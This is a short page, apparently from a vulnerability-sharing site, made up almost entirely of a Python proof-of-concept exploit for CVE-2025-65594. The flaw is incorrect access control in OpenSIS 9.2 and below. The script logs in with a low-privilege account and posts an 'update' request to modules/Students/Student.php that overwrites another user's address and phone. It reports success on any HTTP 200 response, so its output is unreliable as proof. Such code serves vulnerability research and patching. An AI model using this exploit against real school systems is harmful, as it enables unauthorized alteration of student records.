CVE-2025-65594 OpenSIS Student.php越权漏洞

# CVE-2025-65594 OpenSIS Incorrect Access Control PoC # Target: OpenSIS 9.2 and below # Vulnerability: Student.php allows authenticated low-privilege users to perform unauthorized database write operations import requests import sys from bs4 import BeautifulSoup TARGET_URL = "http://target-opensis-site.com" USERNAME = "low_privilege_user" PASSWORD = "password123" TARGET_USER_ID = "victim_user_id" def exploit_cve_2025_65594(): """ This PoC demonstrates the Incorrect Access Control vulnerability in OpenSIS Student.php Low-privilege authenticated users can write to other users' data """ session = requests.Session() # Step 1: Login with low-privilege account login_url = f"{TARGET_URL}/index.php" login_data = { "username": USERNAME, "password": PASSWORD, "action": "login" } response = session.post(login_url, data=login_data) if "Login Failed" in response.text: print("[-] Login failed") return False print("[+] Successfully logged in with low-privilege account") # Step 2: Access Student.php with malicious parameters to modify other users' data exploit_url = f"{TARGET_URL}/modules/Students/Student.php" # Malicious request to write data to another user's record exploit_data = { "student_id": TARGET_USER_ID, # Target another user's ID "address": "Malicious Address", "phone": "1234567890", "action": "update", "modfunc": "edit" } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print(f"[+] Exploit sent - attempting to modify user ID: {TARGET_USER_ID}") print("[+] If successful, low-privilege user modified another user's data") print("[!] This demonstrates the Incorrect Access Control vulnerability") return True else: print("[-] Exploit failed") return False if __name__ == "__main__": print("CVE-2025-65594 OpenSIS Incorrect Access Control PoC") print("=" * 60) exploit_cve_2025_65594()